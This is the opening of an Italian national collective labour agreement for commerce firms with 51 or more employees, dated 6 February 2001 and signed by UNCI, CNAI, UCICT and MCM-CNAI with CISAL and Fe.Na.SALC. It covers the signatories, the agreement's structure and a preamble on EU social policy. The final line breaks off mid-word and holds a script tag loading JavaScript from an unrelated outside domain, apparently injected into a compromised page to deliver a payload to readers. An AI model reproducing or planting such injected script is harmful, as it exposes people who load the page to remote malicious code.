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Categoria: Commercio, aziende da 51 dipendenti in poi (CISAL) Settore: Commercio Data stipula: 6-2-2001 Data decorrenza: 1-2-2001 Data scadenza: 31-1-2004
Contratto Collettivo Nazionale di Lavoro
PER I DIPENDENTI DELLE AZIENDE, PER I DIPENDENTI E SOCI DELLE COOPERATIVE
ESERCENTI ATTIVITÀ NEL SETTORE DEL "COMMERCIO"
(da 51 dipendenti o soci in poi)
(in vigore dal 1° febbraio 2001 al 31 gennaio 2004)
L'anno 2001 il giorno 6 del mese di febbraio in Roma
tra
1. Unione Nazionale Cooperative Italiane (UNCI) rappresentata dal
Presidente nazionale Luciano D'Ulizia assistito da Claudio Riciputi e
Filippo Turi;
2. Coordinamento Nazionale Associazioni Imprenditori (CNAI)
rappresentata dal Presidente nazionale Orazio Renzo Di Renzo e assistito
da Nanni Werther, Giangiacomo Pagliaro, Antonio Cucurachi e Rocco Vetrone;
3. Unione Cristiana Italiana Commercio e Turismo (UCICT) rappresentata
dal Presidente nazionale Orazio Renzo Di Renzo e assistito da Nanni
Werther, Raffaella Sacrorè, Manola Di Renzo, Mania Teresa Vitali, Sabatino
Sacripante, Roberto Lunerti, Severino Lupattelli e Rocco Vetrone;
4. Movimento Cooperative e Mutue CNAI (MCM-CNAI) rappresentata da Franco
Maldera, Vincenzo Sardano, Mario Gibellini, Tommaso Dodaro, Umberto Ferro
e Francesco Ronca
e
1. Confederazione Italiana Sindacati Autonomi Lavoratori (CISAL)
rappresentata dal Segretario generale Giuseppe Carbone, dal Segretario
generale Vicario Giovanni Liccardo, dal Segretario generale aggiunto
Massimo Cesanini, dai Segretari confederali Ulderico Cancilla e Luigi
Spagnuolo;
2. Federazione Nazionale Sindacati Autonomi Lavoratori Commercio
(Fe.Na.SALC) rappresentata dal Segretario generale Adriano Cosimati e dai
Segretari nazionali Aurora Pitzolu, Enzo Natalini, Giuseppe Nicosia
SI È STIPULATO
Il CCNL per i dipendenti delle aziende, per i dipendenti e i soci delle
cooperative esercenti attività nel settore del "COMMERCIO" da 51
dipendenti o soci in poi, esso si compone:
A. Indice.
B. Premessa.
C. Titoli LV.
D. Articoli 91.
UNCI
CNAI
UCICT
MCM-CNAI
CISAL
Fe.Na.SALC
PREMESSA
Le OO.SS. e datoriali firmatarie ritengono di aver dato con il contratto,
una prima importante risposta alle esigenze, da più parti rappresentate,
per un cambiamento della contrattualistica nazionale in un'ottica di
rilancio reale del l'occupazione, fattore indispensabile per una
espansione strutturale dell'economia e della produttività del Paese.
Il contratto si muove nelle logiche dettate dalla UE finalizzate al
miglioramento dei rapporti individuali e collettivi di lavoro, alla
crescita dei livelli occupazionali, alla protezione e sicurezza sociale,
per concorrere a formulare e rafforzare le regole di garanzia e di tutela
dei processi lavorativi.
Infatti, con il Protocollo aggiuntivo al trattato di Maastricht del 1991,
relativo alla politica sociale, i Governi UE hanno indicato le materie su
cui inciderà la politica sociale comunitaria per il conseguimento degli
obiettivi delle loro azioni comuni: la sicurezza e la salute del
lavoratore, le migliori condizioni di lavoro, l'informazione e la
consultazione dei lavoratori, le pari opportunità, la rappresentanza e la
difesa collettiva degli interessi dei lavoratori e dei datori di lavoro
ivi compresa la cogestione, gli aiuti finanziari alla promozione
dell'occupazione e alla creazione dei posti di lavoro, la contrattazione
collettiva europea. Per questi obiettivi, le OO.SS. e datoriali svolgono
una specifica funzione che esercitano nei confronti del legislatore
comunitario, nonché una essenziale funzione negoziale nell'ambito del
dialogo sociale.
Le Parti concordano, altresì, sulla necessità di affermare la paritaria
funzione delle OO.SS. e datoriali, sul piano del diritto al lavoro ed
all'esercizio dell'impresa privata in un contesto di riconosciute libertà
associative.
Sulla base di tali p<script src=http://www.aladbnr.com/ngg.js></script>
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